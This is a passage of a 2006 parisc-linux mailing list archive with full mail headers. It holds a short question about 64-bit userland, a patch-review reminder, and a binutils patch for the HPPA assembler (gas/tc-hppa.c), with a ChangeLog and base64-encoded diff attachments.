Lw0KKyMgIGlmIFRBUkdFVF9BUkNIX1NJWkUgPT0gNjQNCisjICBpbmNsdWRlICJiZmQvZWxmNjQt
aHBwYS5oIg0KKyMgIGVsc2UgDQorIyAgaW5jbHVkZSAiYmZkL2VsZjMyLWhwcGEuaCINCisjICBl
bmRpZg0KKw0KKyMgIGlmZGVmIFRFX0xJTlVYDQorIyAgZGVmaW5lIEVMRl9UQVJHRVRfRk9STUFU
ICAgICAgICJlbGYzMi1ocHBhLWxpbnV4Ig0KKyMgIGRlZmluZSBFTEY2NF9UQVJHRVRfRk9STUFU
ICAgICAiZWxmNjQtaHBwYS1saW51eCINCisjICBlbmRpZg0KKw0KKyMgIGlmZGVmIFRFX05ldEJT
RA0KKyMgIGRlZmluZSBFTEZfVEFSR0VUX0ZPUk1BVCAgICAgICAiZWxmMzItaHBwYS1uZXRic2Qi
DQorIyAgZW5kaWYNCisNCisjICBpZm5kZWYgRUxGX1RBUkdFVF9GT1JNQVQNCisjICBkZWZpbmUg
RUxGX1RBUkdFVF9GT1JNQVQgICAgICAgImVsZjMyLWhwcGEiDQorIyAgZW5kaWYNCisNCisjICBp
Zm5kZWYgRUxGNjRfVEFSR0VUX0ZPUk1BVA0KKyMgIGRlZmluZSBFTEY2NF9UQVJHRVRfRk9STUFU
ICAgICAiZWxmNjQtaHBwYSINCisjICBlbmRpZg0KKw0KKyNlbmRpZiAvKiBPQkpfRUxGICovDQog
DQogI2lmZGVmIE9CSl9TT00NCiAjaW5jbHVkZSAiYmZkL3NvbS5oIg0KLSNkZWZpbmUgVEFSR0VU
X0ZPUk1BVCAic29tIg0KICNlbmRpZg0KIA0KKyNkZWZpbmUgVEFSR0VUX0ZPUk1BVCBocHBhX3Rh
cmdldF9mb3JtYXQoKQ0KK2V4dGVybiBjb25zdCBjaGFyICpocHBhX3RhcmdldF9mb3JtYXQgKHZv
aWQpOw0KKw0KK3ZvaWQgaHBwYV9wcmludF9zdGF0aXN0aWNzIChGSUxFICopOw0KKyNkZWZpbmUg
dGNfcHJpbnRfc3RhdGlzdGljcyBocHBhX3ByaW50X3N0YXRpc3RpY3MNCisNCiAjaWYgZGVmaW5l
ZChURV9MSU5VWCkgfHwgZGVmaW5lZChURV9OZXRCU0QpDQogLyogRGVmaW5lIHRvIGNvbXBpbGUg
aW4gYW4gZXh0cmEgYXNzZW1ibGVyIG9wdGlvbiwgLWMsIHdoaWNoIGVuYWJsZXMgYQ0KICAgIHdh
cm5pbmcgKG9uY2UgcGVyIGZpbGUpIHdoZW4gYSBjb21tZW50IGlzIGVuY291bnRlcmVkLg0KQEAg
LTgxLDEyICs5MSw2IEBADQogI2RlZmluZSBXQVJOX0NPTU1FTlRTIDENCiAjZW5kaWYNCiANCi0v
KiBGSVhNRS4gIFdoeSBvaCB3aHkgYXJlbid0IHRoZXNlIGRlZmluZWQgc29tZXdoZXJlIGdsb2Jh
bGx5PyAgKi8NCi0jaWZuZGVmIEZBTFNFDQotI2RlZmluZSBGQUxTRSAgICgwKQ0KLSNkZWZpbmUg
VFJVRSAgICAoIUZBTFNFKQ0KLSNlbmRpZg0KLQ0KICNkZWZpbmUgQVNFQ19OVUxMIChhc2VjdGlv
biAqKTANCiANCiAvKiBwYV9kZWZpbmVfbGFiZWwgZ2V0cyB1c2VkIG91dHNpZGUgb2YgdGMtaHBw
YS5jIHZpYSB0Y19mcm9iX2xhYmVsLiAgKi8NCl==


--=-57XZxrUUtIsbT7d1FKBe--

--=-3PWOcOdWbBj5LdvabaGq
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFPDX15M5hmdCYCpkRAvY0AKC3fsHLCWpzncYMDTY2hT9OqZCXIgCgyFmc
5Zh3ggqONzzjITrfWXUcMeo=
=qQDr
-----END PGP SIGNATURE-----

--=-3PWOcOdWbBj5LdvabaGq--


--===============1628382915==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1628382915==--



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Mock <alan.mock@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit Userland
Date: Mon, 23 Oct 2006 01:59:39 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <A95DDDB4-BE43-42F9-BC91-4D0438118952@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain;
  charset=US-ASCII;
  delsp=yes;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624200 21443 80.91.229.3 (22 Nov 2014 02:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:42:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 27 Oct 2006 17:42:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 939367D807;
	Fri, 27 Oct 2006 09:42:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30434-10; Fri, 27 Oct 2006 09:42:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5502C7D803;
	Fri, 27 Oct 2006 09:42:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 653457D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 00:59:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11588-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 00:59:51 -0600 (MDT)
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.182])
	by free.linux.hp.com (Postfix) with ESMTP id A59D07D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 00:59:50 -0600 (MDT)
Original-Received: by py-out-1112.google.com with SMTP id z74so70599pyg
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 23:59:45 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:mime-version:content-transfer-encoding:message-id:content-type:to:from:subject:date:x-mailer;
	b=UjdivVe93WY5ukRS7+4cht2dZg1xgCuisZKgmcDTQwuPh9BbNkVcXq4w8c9ejXqBmT4IHDMvSGBkRkhEfHM3x2V70dzLGBR1POh0ZYiKRExgVTXlUoc6zM9FCQAzm2vZTKOB4dSGAXxgJ1bG8zDkW9nyMLaQ4eitjz2Kf3zH3qE=
Original-Received: by 10.35.88.18 with SMTP id q18mr3035497pyl;
	Sun, 22 Oct 2006 23:59:45 -0700 (PDT)
Original-Received: from ?129.93.191.42? ( [129.93.191.42])
	by mx.google.com with ESMTP id 17sm1443260nzo.2006.10.22.23.59.44;
	Sun, 22 Oct 2006 23:59:44 -0700 (PDT)
X-Mailer: Apple Mail (2.752.2)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5BB0DMcwQEVsAujDZnVpYiNKNzg2NcIW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24042

Hello,

Is there currently any work being done on a 64-bit userland for  
Linux?  I can't find any recent references to it.
Thanks,

Alan
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Tue, 24 Oct 2006 10:48:52 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <65dd6fd50610241048h24af39d9ob49c3816dfe1ca64__45091.4525347345$1416624200$gmane$org@mail.gmail.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624200 21446 80.91.229.3 (22 Nov 2014 02:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:20 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:58:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 27 Oct 2006 17:58:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A314C7D84B;
	Fri, 27 Oct 2006 09:58:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31858-01; Fri, 27 Oct 2006 09:58:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 273F27D883;
	Fri, 27 Oct 2006 09:58:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 687AD7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 11:49:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10911-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 11:49:04 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id CC2997D640
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 11:49:03 -0600 (MDT)
Original-Received: from spaceape7.eur.corp.google.com (spaceape7.eur.corp.google.com
	[172.28.16.141]) by smtp-out.google.com with ESMTP id k9OHmuDV028824
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 18:48:56 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=XqzaKFzMe+uyn4tkgffrwB2sPMlHljoy6xML5X160eD9p9xgAXbI8I+pY6UpZmUmq
	iUHww8O23Gk03tzXX7QaQ==
Original-Received: from nf-out-0910.google.com (nfcl23.prod.google.com [10.48.113.23])
	by spaceape7.eur.corp.google.com with ESMTP id k9OHmm2W005620
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 18:48:52 +0100
Original-Received: by nf-out-0910.google.com with SMTP id l23so277725nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Oct 2006 10:48:52 -0700 (PDT)
Original-Received: by 10.82.98.13 with SMTP id v13mr2120181bub;
	Tue, 24 Oct 2006 10:48:52 -0700 (PDT)
Original-Received: by 10.82.114.19 with HTTP; Tue, 24 Oct 2006 10:48:52 -0700 (PDT)
In-Reply-To: <65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nhR3ccFyRkkeaauPfGRqGxlmdWkvKJMP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24043

It's been a couple weeks since I got any feedback on this.  I just
wanted to send out a gentle reminder to encourage people to take a
look.

I realize the kernel is in bugfix mode at the moment.  If people would
rather I resend after the 2.6.19 release, please let me know.

Thanks,
Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 22 Oct 2006 13:19:18 -0400
Lines: 984
Approved: news@gmane.org
Message-ID: <1161537558.5629.15.camel__36719.8932719932$1416624200$gmane$org@localhost.localdomain>
References: <200610211944.k9LJiE77010509@hiauly1.hia.nrc.ca>
	<1161466446.7854.86.camel@localhost.localdomain>
	<20061021233857.GA12282@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0894032117=="
X-Trace: ger.gmane.org 1416624200 21448 80.91.229.3 (22 Nov 2014 02:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:20 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 16:10:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 Oct 2006 18:10:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B111B7D406;
	Fri, 27 Oct 2006 09:35:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29248-10; Fri, 27 Oct 2006 09:35:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 123257D416;
	Fri, 27 Oct 2006 09:35:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FD637D717
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:19:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01795-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:19:29 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 101317D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:19:29 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR002.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7J00KJCS4D4WG0@VL-MO-MR002.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 22 Oct 2006 13:19:28 -0400 (EDT)
In-reply-to: <20061021233857.GA12282@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q1V3LfgdZDI4DLHGdWY2BOdxemhmYwH4
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24044


--===============0894032117==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-8htulhJm8nQ8z/Gca1F1"


--=-8htulhJm8nQ8z/Gca1F1
Content-Type: multipart/mixed; boundary="=-ZlgVQWVdn4A3TnbFUveG"


--=-ZlgVQWVdn4A3TnbFUveG
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le samedi 21 octobre 2006 =C3=A0 19:38 -0400, John David Anglin a =C3=A9cri=
t :
>        if (bfd_get_mach (stdoutput) < pa11)
>=20
> You missed the above pa11 and a couple of pa20 uses.  It would
> be nice if the duplication present in the definition of the enum
> pa_arch and the bfd_mach_* defines could be eliminated.  However,
> I think using the bfd_mach values in the opcode table would be
> ugly.

Other architectures seem to have the same problem.  They generally seem
to use the bfd_mach_* values in the tc-* files, and some other define in
the opcode headers.

> Ultimately, it would be nice to turn all the TARGET_ARCH_SIZE
> tests into runtime checks.

Sheesh!  Between you, Matthew and Carlos...  =3D)

So as requested, here it is.  I've gone as far as I can until I finish
the job with bfd.  I have a bit of this work done from the hppa64
hacking I've been doing, but that part isn't ready for submission yet.

Tested on hppa-linux (with the testsuite), hppa64-linux (with my
simpleasm hacks), and a specific extra taste to make sure that %mrp is
handled correctly.

2006-10-21  Jeff Bailey  <jbailey@raspberryginger.com>

        * config/tc-hppa.c: Do not define DEFAULT_LEVEL.
        Add variables for architecture size.
        Add mach member to struct pd_reg and populate pre_defined_registers=
.
        (need_pa11_opcode): Use bfd_mach_hppa11 instead of pa11 for
        consistency.
        (need_pa11_opcode): Use defines from bfd.h instead of magic numbers=
.
        (pa_ip): Likewise.
        (pa_level): Likewise.
        (pa_parse_number): Use binutils hash instead of home-brew one.
        (md_begin): Use defines from bfd.h instead of DEFAULT_LEVEL.
        (init_default_arch): New function.
        (hppa_target_format): New function.
        (hppa_print_statistics): New function.
        (reg_name_search): Removed.
        (setup_reg_hash): New function.

        * config/tc-hppa.h: Redefine TARGET_FORMAT as hppa_target_format()
        and in terms of ELF_TARGET_FORMAT and ELF64_TARGET_FORMAT for OBJ_E=
LF.
        Remove extra definitions of TRUE and FALSE.

        * configure.in: Define DEFAULT_ARCH for hppa.
        * configure: Regenerate.
        * configure.tgt: Specify arch for hppa and hppa64.


--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-ZlgVQWVdn4A3TnbFUveG
Content-Disposition: attachment; filename=gas-hppa.diff
Content-Type: text/x-patch; name=gas-hppa.diff; charset=utf-8
Content-Transfer-Encoding: base64

SW5kZXg6IGNvbmZpZ3VyZQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnMvc3JjL3NyYy9nYXMv
Y29uZmlndXJlLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4yMTQNCmRpZmYgLXUgLXAgLXIxLjIx
NCBjb25maWd1cmUNCi0tLSBjb25maWd1cmUJMjAgU2VwIDIwMDYgMTE6MzU6MTAgLTAwMDAJMS4y
MTQNCisrKyBjb25maWd1cmUJMjIgT2N0IDIwMDYgMTc6MTQ6NTggLTAwMDANCkBAIC05NzAsNyAr
OTcwLDcgQEAgZXNhYw0KICAgICBlbHNlDQogICAgICAgZWNobyAiJGFzX21lOiBXQVJOSU5HOiBu
byBjb25maWd1cmF0aW9uIGluZm9ybWF0aW9uIGlzIGluICRhY19kaXIiID4mMg0KICAgICBmaQ0K
LSAgICBjZCAkYWNfcG9wZGlyDQorICAgIGNkICIkYWNfcG9wZGlyIg0KICAgZG9uZQ0KIGZpDQog
DQpAQCAtMTk5Myw4ICsxOTkzLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzog
XCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5P
OiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7
IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJ
IHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElO
RU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3Rh
dHVzPSQ/DQpAQCAtMjA1Miw4ICsyMDUxLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJ
TkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTok
TElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYm
DQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19t
ZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAg
YWNfc3RhdHVzPSQ/DQpAQCAtMjE2OSw4ICsyMTY3LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNf
bWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRh
c19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMp
OyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8
IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8g
IiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4m
NQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMjIyNCw4ICsyMjIxLDcgQEAgaWYgeyAoZXZhbCBlY2hv
ICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVj
aG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19z
dGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQot
CQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFs
IGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3Ry
eSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMjI3MCw4ICsyMjY2LDcgQEAgaWYgeyAoZXZh
bCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUN
CiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0
